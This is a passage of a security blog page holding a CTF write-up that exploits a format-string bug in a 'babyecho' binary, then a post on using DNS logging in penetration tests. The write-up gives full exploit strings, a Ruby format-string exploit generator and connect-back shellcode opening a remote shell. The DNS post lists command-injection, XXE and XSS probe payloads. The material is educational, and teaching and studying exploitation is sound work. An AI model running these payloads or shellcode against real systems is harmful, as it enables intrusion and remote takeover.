    

    It prints out the string! If I really want to, I can chain together a few:

    $ echo -e '\x06\x1d\x0c\x08%7$s\n\x1f\x1d\x0c\x08%7$s\n' | ./babyecho
    Reading 13 bytes
    buffer overflow detected
    Reading 13 bytes
    stack smashing detected
    

    It didn't really detect any of those, of course - I'm just printing out those strings for fun :)

    Arbitrary memory write

    That's an arbitrary memory read. And as a side effect, we've also bypassed ASLR if that's applicable (in this level, it's not really).

    Now let's go back to our code that tried to read 0x41414141 ("AAAA%7$s") and change the %..s to a %..n:

    $ ulimit -c unlimited
    $ echo -e 'AAAA%7$n' | ./babyecho
    Reading 13 bytes
    Segmentation fault (core dumped)
    

    no surprise there.. let's see what happened:

    $ gdb -q ./babyecho ./core
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x08080c2a in ?? ()
    (gdb) x/i $eip
    => 0x8080c2a:   mov    DWORD PTR [eax],ecx
    (gdb) print/x $eax
    $1 = 0x41414141
    (gdb) print/x $ecx
    $2 = 0x4
    

    So it crashed while trying to write 0x4 - a value we sort of control - into 0x41414141 - a value we totally control.

    Of course, writing the value 0x4 every time is boring, but we can change to anything - let's try to make it 0x80:

    $ echo -e 'AAAA%124x%7$n' | ./babyecho
    Reading 13 bytes
    AAAA                                                                                                                           d%
    Reading 13 bytes
    
    Reading 13 bytes
    

    Uh oh! What happened?

    Unfortunately, that string is one byte too long, which means the %n isn't getting hit. We need to deal with this pesky length problem!

    Making it longer

    The maximum length for the string is 13 - 0x0d - bytes. Presumably that value is stored on the stack somewhere, and it is:

    $ for i in `seq 1 2000`; do echo -e "$i:0x%$i\$x" | ./babyecho; done | grep ":0xd$"
    1:0xd
    4:0xd
    246:0xd
    385:0xd
    

    The problem is, to write that, we need an absolute address. "AAAA%7$n" writes to the address "AAAA", but we need to know which address those 0xd's live at.

    There are a lot of different ways to do this, but none of them are particularly nice. One of the easiest ways is to use one of those corefiles from earlier, grab the 'esp' register (the stack pointer), and read upwards from esp till we hit the top of the stack.

    The most recent corefile was caused by trying to write to 0x41414141, which is just fine. We're going to basically read everything on the stack at the time it crashed (somewhere in printf()):

    (gdb) x/i $eip
    => 0x8080c2a:   mov    DWORD PTR [eax],ecx
    (gdb) print/x $esp
    $2 = 0xffff9420
    (gdb) x/10000xw $esp
    0xffff9420:     0xffff94b0      0x00000000      0x0000001c      0x00000000
    0xffff9430:     0x00000000      0x00000000      0x00000000      0x00000000
    0xffff9440:     0x0000000d      0x00000000      0x00000000      0x0000000a
    ...
    0xffff9460:     0x00000000      0x0000000d      0x00000000      0x00000000
    ...
    0xffffc690:     0x0000000d      0xffffc69c      0x00000000      0x41414141
    0xffffc680:     0xffffc69c      0x0000000d      0x0000000a      0x00000000
    ...
    0xffffca50:     0x00000028      0x00000007      0x0000000d      0x00008000
    0xffffdff0:     0x65796261      0x006f6863      0x00000000      0x00000000
    0xffffe000:     Cannot access memory at address 0xffffe000
    

    So we have five instances of 0x0000000d:

    • 0xffff9440
    • 0xffff9464
    • 0xffffc684
    • 0xffffc690
    • 0xffffca58

    We try modifying each of them using our %n arbitrary write to see what happens:

    $ echo -e '\x40\x94\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 13 bytes
    
    $ echo -e '\x64\x94\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 13 bytes
    
    $ echo -e '\x84\xc6\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 13 bytes
    
    $ echo -e '\x90\xc6\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 4 bytes
    

    Aha! We were able to overwrite the length value with the integer 4. Obviously we don't want 4, but because of the 13-byte limit the best we can do is 99 more:

    $ echo -e '\x90\xc6\xff\xff%99x%7$n' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 103 bytes
    

    or is it? We can actually mess with a different byte. In other words, instead of changing the last byte - 0x000000xx - we change the second last - 0x0000xx00 - which will be at the next address:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 1023 bytes
    

    1023 bytes is pretty good! That's plenty of room to build a full exploit.

    Controlling eip

    The next step is to control eip - the instruction pointer, or the thing that says which instruction needs to run. Once we control eip, we can point it at some shellcode (code that gives us full control).

    The easiest way to control eip is to overwrite a return address. As we learned somewhere wayyyyyyy up there, return addresses are stored on the stack the same way the length value was stored. And we can find it the same way - just go to where it crashed and find it.

    We'll use the same ol' value to crash it:

    $ ulimit -c unlimited
    $ echo -e 'AAAA%7$n' | ./babyecho
    Reading 13 bytes
    Segmentation fault (core dumped)
    $ gdb ./babyecho ./core
    ...
    (gdb) bt
    #0  0x08080c2a in ?? ()
    #1  0x08081bb0 in ?? ()
    #2  0x0807d285 in ?? ()
    #3  0x0804f580 in ?? ()
    #4  0x08049014 in ?? ()
    #5  0x0804921a in ?? ()
    #6  0x08048d2b in ?? ()
    

    "bt" - or "backtrace" - prints the list of functions that were called to get to where you are. The call stack. If we can find any of those values on the stack, we can overwrite it and win. I arbitrarily chose 0x08081bb0 and found it at 0xffffa054, but it didn't work. Rather than spend a bunch of time troubleshooting, I found 0x0807d285 instead:

    (gdb) x/10000xw $esp
    0xffff9420:     0xffff94b0      0x00000000      0x0000001c      0x00000000
    0xffff9430:     0x00000000      0x00000000      0x00000000      0x00000000
    0xffff9440:     0x0000000d      0x00000000      0x00000000      0x0000000a
    ...
    0xffffc140:     0x080ea200      0x080ea00c      0xffffc658      0x0807d285
    

    It's stored at 0xffffc14c. Let's try changing it to something else:

    $ echo -e '\x4c\xc1\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....Segmentation fault (core dumped)
    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x00000004 in ?? ()
    

    We overwrote the return address with 4, just like we'd expect! Let's chain together the two exploits - the one for changing the length and the one for changing the return address (I'm quoting the strings separately to make it more clear, but bash will automatically combine them):

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff%10000x%7$n' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 1023 bytes
    L...
    [...lots of empty space...]
    3ffSegmentation fault (core dumped)
    
    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x00002714 in ?? ()
    

    0x2714 = 10004 - so we can definitely control the return address!

    Writing four bytes

    When we're running it locally, we can also go a little crazy:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff%1094795581x%7$n' | ./babyecho > /dev/null
    segmentation fault
    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41414141 in ?? ()
    

    We use %1094795581x to write 0x4141413d bytes to stdout, then %7$n writes 0x41414141 to the return address. The problem is, if we were running that over the network, we'd have to wait for them to send us 1,094,795,581 or so bytes, which is around a gigabyte, so that's probably not going to happen. :)

    What we need is to provide four separate addresses. We've been using %7$n all along to access the address identified by the first four bytes of the string:

    "AAAA%7$n"
    

    But we can actually do multiple addresses:

    "AAAABBBBCCCCDDDD%7$n%8$n%9$n%10$n"
    

    That will try writing to the 7th thing on the stack - 0x41414141. If that succeeds, it'll write to the 8th thing - 0x42424242 - and so on. We can prove that by using %..x instead of %..n:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''AAAABBBBCCCCDDDD << %7$x * %8$x * %9$x * %10$x >>' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 1023 bytes
    AAAABBBBCCCCDDDD << 41414141 * 42424242 * 43434343 * 44444444 >>
    

    As expected, the 7th, 8th, 9th, and 10th values on the stack were "AAAA", "BBBB", "CCCC", and "DDDD". If that doesn't make sense, go take a look at func_a(), which was one of my first examples, and which put AAAA, BBBB, and CCCC onto the stack.

    Now, since we can write to multiple addresses, instead of doing a single gigabyte of writing, we can do either two or four short writes. I'll do four, since that's more commonly seen. That means we're going to do something like this (once again, I'm adding quotes to make it clear what's happening, they'll disappear):

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%49x%7$n''%8$n''%9$n''%10$n'
    

    Breaking it down:

    • The first 16 bytes are the four addresses - 0xffffc14c, 0xffffc14d, 0xffffc14e, and 0xffffc14f. Something interesting to note is that 0xffffc150 - 0xffffc152 will also get overwritten, but we aren't going to worry about those
    • "%49x" will output 49 bytes. This is simply to pad our string to a total of 65 - 0x41 - bytes (49 bytes here + 16 bytes worth of addresses)
    • "%7$n" will write the value 0x41 - the number of bytes that have so far been printed - to the first of the four addresses, which is 0x41414141 ("AAAA")
    • "%8$n" will write 0x41 - still the number of printed bytes so far - to the second address, 0x42424242
    • "%9$n" and "%10$n" do exactly the same thing to 0x43434343 and 0x44444444

    Let's give it a shot (I'm going to start redirecting to /dev/null, because we really don't need to see the crap being printed anymore):

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%49x%7$n''%8$n''%9$n''%10$n' | ./babyecho > /dev/null
    Segmentation fault (core dumped)
    $ gdb -q ./babyecho ./core
    Reading symbols from ./babyecho...(no debugging symbols found)...done.
    [New LWP 2662]
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41414141 in ?? ()
    

    Sweet! It worked!

    What happens if we want to write four different bytes? Let's say we want 0x41424344...

    In memory, 0x41424344 is "44 43 42 41". That means we have to write 44, then 43, then 42, then 41.

    0x44 is easy. We know we're writing 16 bytes worth of addresses. To go from 16 to 0x44 (68) is 52 bytes. So we put "%52x%7$n" and our return address looks like this:

    ?? ?? ?? ?? [44 00 00 00] ?? ?? ?? ??
    

    Next, we want to write 0x43 to the next address. We've already output 0x44 bytes, so to output a total of 0x43 bytes, we'll have to wrap around. 0x44 + 0xff (255) = 0x0143. So if we use "%255x%8$n", we'll write 0x0143 to the next address, which will give us the following:

    ?? ?? ?? ?? [44 43 01 00] 00 ?? ?? ??
    

    Two things stick out here: first, there's a 0x01 that shouldn't be there. But that'll get overwritten so it doesn't matter. The second is that we've now written one byte *past* our address. That means we're killing a legitimate variable, which may cause problems down the road. Luckily, in this level it doesn't matter - sucks to be that variable!

    All right, so we've done 0x44 and 0x43. Now we want 0x42. To go from 0x43 to 0x42 is once again 0xff (255) bytes, so we can do almost the same thing: "%255x%9$n". That'll make the total number of bytes printed 0x0242, and will make our return address:

    ?? ?? ?? ?? [44 43 42 02] 00 00 ?? ??
    

    Finally, to go from 0x42 to 0x41, we need another 255 bytes, so we do the same thing one last time: "%255x%10$n", and our return address is now:

    ?? ?? ?? ?? [44 43 42 41] 03 00 00 ??
    

    Putting that all together, we get:

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n'
    

    We prepend our length-changer onto the front, and give it a whirl:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n' | ./babyecho > /dev/null
    Segmentation fault (core dumped)
    $ gdb -q ./babyecho ./core
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41424344 in ?? ()
    

    I'm happy to report that I'm doing this all by hand to write the blog, and I got that working on my first try. :)

    A quick word of warning: if you're trying to jump to an address like 0x44434241, you have to write "41 42 43 44" to memory. To write the 0x41, as usual you'll want to use %49x%7$n. That means that 65 (0x41) bytes have been output so far. To then output 0x42, you need one more byte written. The problem is that %1x can output anything between 1 and 8 bytes, because it won't truncate the output. You have to use either "%257x" or just a single byte, like "A". I fought with that problem for quite some time during this level...

    Let's summarize what we've done...

    I feel like I've written a lot. According to my editor, I'm at 708 lines right now. And it's all pretty crazy!

    So here's a summary of where we are before we get to the last step...

    • We used %n and a static address to change the max length of the input string
    • We gave it four addresses to edit, which wind up on the stack (see func_a)
    • We use %NNx, where NN = the number of bytes we want to waste, to ensure %n writes the proper value
    • We use %7$n to write to the first address, %8$n to write to the second address, %9$n to write to the third address, and %10$n to write to the fourth, with a %NNx between each of them to make sure we waste the appropriate number of bytes

    And now for the final step...

    Going somewhere useful

    For the last part, instead of jumping to 0x41414141 or 0x41424344, we're going to jump to some shellcode. Shellcode is, basically, "code that spawns a shell". I normally wind up Googling for the exact shellcode I want, like "32-bit Linux connect back shellcode", and grabbing something that looks legit. That's not exactly a great practice in general, because who knows what kind of backdoors there are, but for a CTF it's not a big deal (to me, at least :) ).

    Before we worry about shellcode, though, we have to figure out where to stash it!

    It turns out, for this level, the stack is executable. That makes life easy - I wrote an exploit that ROPed to mprotect() to make it executable before running the shellcode, then realized that was totally unnecessary.

    Since we can access the buffer with "%x" in the format string, it means the buffer is definitely on the stack somewhere. That means we can find it exactly like we found everything else - open up the corefile and start looking at the stack pointer (esp).

    Let's use the same exploit as we just used to crash it, but this time we'll put some text after that we can search for:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n''AAAAAAAAAAAAAAAAAAAAAAAAAA' | ./babyecho > /dev/null
    Segmentation fault (core dumped)
    
    $ gdb -q ./babyecho ./core
    #0  0x41424344 in ?? ()
    (gdb) x/10000xw $esp
    0xffffc150:     0x00000003      0x00000000      0x00000000      0x00000000
    0xffffc160:     0x00000000      0x00000000      0x00000000      0x00000000
    ...
    0xffffc6c0:     0x39257835      0x32256e24      0x25783535      0x6e243031
    0xffffc6d0:     0x41414141      0x41414141      0x41414141      0x41414141
    

    There we go! The shellcode is stored at 0xffffc6d0!

    That means we need to write "d0 c6 ff ff" to the return address.

    We start, as always, by writing our 16 bytes worth of addresses: '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff' - that's the offset each of the 4 bytes of the return address.

    The first byte we want to write to the return address is 0xd0 (208), which means that after the 16 bytes of addresses we need an additional 208 - 16 = 192 bytes: '%192x%7$n'

    The second byte of our shellcode offset is 0xc6. To go from 0xd0 to 0xc6 we have to wrap around by adding 246 bytes (0xd0 + 246 = 0x01c6): '%246x%8$n'

    The third byte is 0xff. 0xff - 0xc6 = 57: '%57x%9$n'

    The fourth byte is also 0xff, which means we can either do %256x or just nothing: '%10$n'.

    Putting it all together, we have:

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n'"$SHELLCODE"
    

    We have one small problem, though: when we calculated the address of the shellcode earlier, we didn't take into account the fact that we were going to wind up changing the format string. Because we changed it, buffer is going to be in a slightly different place. We'll solve that the easy way and just pad it with NOPs (no operation - 0x90):

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'"$SHELLCODE"
    

    Now, let's make sure all that's working by using either "\xcd\x03" or "\xcc" as shellcode. These both refer to a debug breakpoint and are really easy to see:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90''\xcc' | ./babyecho > /dev/null
    Trace/breakpoint trap (core dumped)
    

    Awesome! The second test string I always use is \xeb\xfe, which causes an infinite loop:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90''\xeb\xfe' | ./babyecho > /dev/null
    ...nothing happens...
    

    I like using those two against the real server to see if things are working. The real server will disconnect you immediately for "\xcd\x03", and the server will time out with "\xeb\xfe".

    Shellcode

    For the final step (to exploiting it locally), let's grab some shellcode from the Internet.

    This is some shellcode I've used in the past - it's x86, and it connects back to my ip address on port 0x4444 (17476). I've put some additional quotes around the ip address and the port number so they're easy to find:

    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68""\xce\xdc\xc4\x3b""\x66\x68""\x44\x44""\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
    

    We replace the "\xcc" or "\xeb\xfe" with all that muck, and give it a run:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68""\xce\xdc\xc4\x3b""\x66\x68""\x44\x44""\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" | ./babyecho > /dev/null
    

    Meanwhile, on my server, I'm listening for connections, and sure enough, a connection comes:

    $ nc -vv -l -p 17476
    listening on [any] 17476 ...
    connect to [206.220.196.59] from 71-35-121-132.tukw.qwest.net [71.35.121.123] 56307
      pwd
    /home/ron/defcon-quals/babyecho
    ls /
    applications-merged
    bin
    boot
    dev
    etc
    home
    lib
    lib32
    lib64
    lost+found
    media
    mnt
    opt
    proc
    root
    run
    sbin
    stage3-amd64-20130124.tar.bz2
    sys
    tmp
    torrents
    usr
    var
    vmware
    

    Using it against the real server...

    The biggest difference between what we just did and using this against the real server is that you can't run a debugger on the server to grab addresses. Instead, you have to leak a stack address and use a relative offset. That's pretty straight forward, though, the format string lets you use "%x" to go up and down the stack trivially.

    It's also a huge pain to calculate all the offsets by hand, so here's some code I wrote during the competition to generate a format string exploit for you... it should take care of everything:

    def create_exploit(writes, starting_offset, prefix = "")
      index = starting_offset
      str = prefix
    
      addresses = []
      values = []
      writes.keys.sort.each do |k|
        addresses << k
        values << writes[k]
      end
      addresses.each do |a|
        str += [a, a+1, a+2, a+3].pack("VVVV")
      end
    
      len = str.length
    
      values.each do |v|
        a = (v >>  0) & 0x0FF
        b = (v >>  8) & 0x0FF
        c = (v >> 16) & 0x0FF
        d = (v >> 24) & 0x0FF
    
        [a, b, c, d].each do |val|
          count = 257
          len  += 1
          while((len & 0x0FF) != val)
            len   += 1
            count += 1
          end
    
          str += "%#{count}x"
          str += "%#{index}$n"
          index += 1
        end
      end
    
      puts("Generated a #{str.length}-byte format string exploit:")
      puts(str)
      puts(str.unpack("H*"))
    
      return str
    end
    

    Conclusion

    That's a big, long, fairly detailed explanation of format string bugs.

    Basically, a format string bug lets you read the stack and write to addresses stored on the stack. By using four single-byte writes to consecutive addresses, and carefully wasting just enough bytes in between, you can write an arbitrary value to anywhere in memory.

    By carefully selecting where to write, you can overwrite the return address.

    In this particular level, we were able to run shellcode directly from the stack. Ordinarily. I would have looped for somewhere to ROP to, such as using mprotect() to make the stack executable.

    And that's it!

    Please leave feedback. I spent a long time writing this, would love to hear what people think!

    8 thoughts on “Defcon Quals: babyecho (format string vulns in gory detail)

    1. Reply

      WawaSeb

      Awesome writeup.

      Many thanks.
      :)

    2. Reply

      N8Fear

      It seems like you never fail to deliver. If I had this or your explanation of ROP back when I did "Computer Security" at university the course would have been way more easier.
      You really have a very entertaining style of writing about technical matters and an uncanny ability to break hard technical stuff into easy to understand pieces of information.
      I'm quite thankful I guess and I'm (as always) looking forward to the next blog entry of yours.

      PS: Also it's also nice to "meet" fellow Gentoo users... ;-)

      1. Reply

        Ron Bowes Post author

        Haha, what gave me away re: Gentoo? :)

        1. Reply

          N8Fear

          The stage3 archive in your root directory... ;-)

          1. Reply

            Ron Bowes Post author

            Hahaha, well played!

    3. Reply

      vang

      Can you do it on 64 bit machine?

    4. Reply

      Amit

      Can you please share the source code of babyecho ? Thanks.

    5. Reply

      Snail_

      Incredible writeup! :)

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Humour » SkullSecurity

    Nmap script to generate custom license plates

    Hey all, In honour of this special day, I'm releasing an Nmap script I wrote a few months ago as a challenge: http-california-plates.nse. To install it, ensure you're at the latest svn version of Nmap (I fixed a bug in http.lua last night that prevented this from working, so only the svn version as of […]

    Two locks, one bike?

    Hi all, I had the weirdest thing happen to me today, and I couldn't resist sharing it. If you're looking for security tips or tricks, move along. If you want a funny story (that sort of involves security), stick around!

    #####EOF##### GITS2015 » SkullSecurity

    GitS 2015: Huffy (huffman-encoded shellcode)

    Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end. Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was […]

    GitS 2015: Giggles (off-by-one virtual machine)

    Welcome to part 3 of my Ghost in the Shellcode writeup! Sorry for the delay, I actually just moved to Seattle. On a sidenote, if there are any Seattle hackers out there reading this, hit me up and let's get a drink! Now, down to business: this writeup is about one of the Pwnage 300 […]

    GitS 2015: aart.php (race condition)

    Welcome to my second writeup for Ghost in the Shellcode 2015! This writeup is for the one and only Web level, "aart" (download it). I wanted to do a writeup for this one specifically because, even though the level isn't super exciting, the solution was actually a pretty obscure vulnerability type that you don't generally […]

    GitS 2015: knockers.py (hash extension vulnerability)

    As many of you know, last weekend was Ghost in the Shellcode 2015! There were plenty of fun challenges, and as always I had a great time competing! This will be my first of four writeups, and will be pretty simple (since it simply required me to use a tool that already exists (and that […]

    #####EOF##### Why DNS is awesome and why you should love it » SkullSecurity


    Why DNS is awesome and why you should love it

    It's no secret that I love DNS. It's an awesome protocol. It's easy to understand and easy to implement. It's also easy to get dangerously wrong, but that's a story for last weeka few weeks ago. :)

    I want to talk about interesting implication of DNS's design decisions that benefit us, as penetration testers. It's difficult to describe these decisions as good or bad, it's just what we have to work with.

    What I DON'T want to talk about today is DNS poisoning or spoofing, or similar vulnerabilities. While cool, it generally requires the attacker to take advantage of poorly configured or vulnerable DNS servers.

    Technically, I'm also releasing a tool I wrote a couple weeks ago: dnslogger.rb that replaces an old tool I wrote a million years ago.

    Recursive? Authoritative? Wut?

    As always, I'll start with some introduction to how DNS works. If you already know DNS, you can go ahead and skip to the next section.

    DNS is recursive. That means that if you ask a server about a domain it doesn't know about (that is, a domain that isn't cached or a domain that the server isn't the authority for), it'll either pass it upstream to another DNS server (recursive) or tell you where to go for the answer (non-recursive). As always, we'll focus on recursive DNS servers - they're the fun ones!

    If no interim DNS server has the entry cached, the request will eventually make it all the way to the authoritative server for the domain. For example, the authoritative server for *.skullseclabs.org is 206.220.196.59 - my server (and hopefully the server you're reading this on :) ). That is, any request that ends with skullseclabs.org - and that isn't cached - will eventually go to my server. See the next section for information on how to set up your own authoritative DNS server.

    Let's look at a typical setup. You're on your home network. Your router's ip address is probably the usual 192.168.1.1, and is plugged into a cable modem. When you connect your laptop to your network, DHCP (aka, magic) happens, and your DNS server probably gets set to 192.168.1.1 (unless you've manually configured it to 8.8.8.8, which you should). When your router connects to your cable modem, more DHCP (aka, more magic) happens, and its DNS server set to the ISP's DNS server.

    When you do a lookup, like "dig hello.skullseclabs.org", your computer sends a DNS request to 192.168.1.1 saying "who is hello.skullseclabs.org"? Obviously, your router has no idea - he's just a stupid Linksys or whatever - so he has to forward the request to the ISP's DNS server.

    The ISP's DNS server gets the request, and it has no idea what to do with it either. It certainly doesn't know who "hello.skullseclabs.org" is, so it's gonna forward the request to its DNS server, whatever that happens to be. Or it might tell the router where to look for a non-recursive query. Since at this point it's out of our hands, it doesn't really matter.

    Eventually, some DNS server along the way is going to say "hey, why don't we just go to the source?", and through a process that leading scientists believe is magic (there's a lot of magic in DNS :) ), it will look up the authoritative server for skullseclabs.org, discover it's 206.220.196.59, and send the request there.

    My server will see the request, and, assuming something is listening on UDP port 53, have the opportunity to respond.

    The response can be any IP address for an A (IP) or AAAA (IPv6) request; a name for a CNAME (alias) or MX (mail) request; or any ol' text for a TXT request. It can also be NXDomain - "domain not found" - or various error messages (like "servfail").

    One of the cool things is that even if we return "domain not found", we still see that a request happened, even if the person doing the lookup sees that it failed! We'll see some examples of why that's cool shortly.

    How do I get an authoritative server?

    The sad part is, getting an authoritative server isn't free. You have to buy a domain, which is on the order of $10 / year, give or take.

    Beyond that, it's just a configuration thing. I don't want to spend a ton of time talking about it here, so check out this guide, written by Irvin Zhan for instructions to do it on Namecheap.

    I personally did it on Godaddy. It took some time to figure out, though, so prepare for a headache! But trust me: it's worth it.

    The set up

    We'll use skullseclabs.org - my test domain - for the remainder of this. Obviously, if you want to do this yourself, you'll need to replace that with whatever domain you registered. We'll also use dnslogger.rb, which you'll get if you clone dnscat2's repository.

    Getting dnslogger.rb to work is mostly easy, but permissions can be a problem. To listen on UDP/53, it has to run as root. It also needs the "rubydns" gem installed in a place where it can be found. That can be a little annoying, so I apologize if it's a pain. "rvmsudo" may help.

    If anybody out there is familiar with how to properly package Ruby programs, I'd love to chat! I'm making this up as I go along :)

    What does DNS look like?

    All right, let's mess around!

    I'll start by having no DNS server running at all on skullseclabs.org - basically, the base state. From another host, if you try to ping it, you'll see this:

    $ ping noserver.skullseclabs.org
    Ping request could not find host noserver.skullseclabs.org. Please check the name and try again.
    

    Conclusion? It's down. If you were investigating an incident and you saw that message, you'd conclude that there's nothing there, right? Probably?

    Let's fire up dnslogger.rb:

    $ sudo ruby ./dnslogger.rb
    dnslogger v1.0.0 is starting!
    
    Starting dnslogger DNS server on 0.0.0.0:53
    

    Then do the same ping (with a different domain, because caching can screw you up):

    $ ping yesserver.skullseclabs.org
    Ping request could not find host yesserver.skullseclabs.org. Please check the name and try again.
    

    It's the exact. Same. Response. The only difference is, on the DNS server, we see this:

    $ sudo ruby ./dnslogger.rb
    dnslogger v1.0.0 is starting!
    
    Starting dnslogger DNS server on 0.0.0.0:53
    Got a request for yesserver.skullseclabs.org [type = A], responding with NXDomain
    

    What's this? We saw the request! Even if the person doing the lookup thought it failed, it didn't: WE KNOW.

    That's really cool, because it's a really, really stealthy way to find out if somebody is looking you up. If you do a reverse DNS lookup for 206.220.196.59, you'll see:

    $ dig -x 206.220.196.59
    [...]
    ;; ANSWER SECTION:
    59.196.220.206.in-addr.arpa. 3567 IN    PTR     test.skullseclabs.org.
    

    And if you look up the forward record:

    $ dig test.skullseclabs.org
    [...]
    ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 57980
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
    

    NXDOMAIN = "no such domain". Totally stealth!

    Why is it so awesome?

    Let's say you're testing for cross-site scripting on a site. Post <img src="pagenamegoeshere.skullseclabs.org" /> everywhere. If you later see a request like "adminpage.skullseclabs.org" come in, then guess what? You found some stored XSS on their admin page!

    Let's say you're looking for shell injection. Normally, you do something like "vulnerablesite.com/query?q=myquery||ping -c5 localhost". If it takes 5 seconds, it's probably vulnerable to XSSshell command injection [thanks albinowax!]. That's lame. Instead, do a query for "myquery||nslookup pagename.skullseclabs.org". If you see the query, it's definitely vulnerable. If you don't, it's almost certainly not.

    Let's say you're looking for XXE. Normally, you'd stick something like "<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>" into the XML. That works great - IF it returns the data. If it doesn't, you see nothing, and it probably failed. Probably. But if you change the "file:///" URL to "http://somethingunique.skullseclabs.org", you'll see the request in your DNS logs, and you can confirm it's vulnerable!

    Let's say you're wondering if a system is executing a binary you're sending across the network. Create a binary that attempts to connect to binaryname.skullseclabs.org. You'll instantly know if anybody attempted to run it, and in their logs they'll see nothing more than a failed DNS lookup. As far as they know, nothing happened!

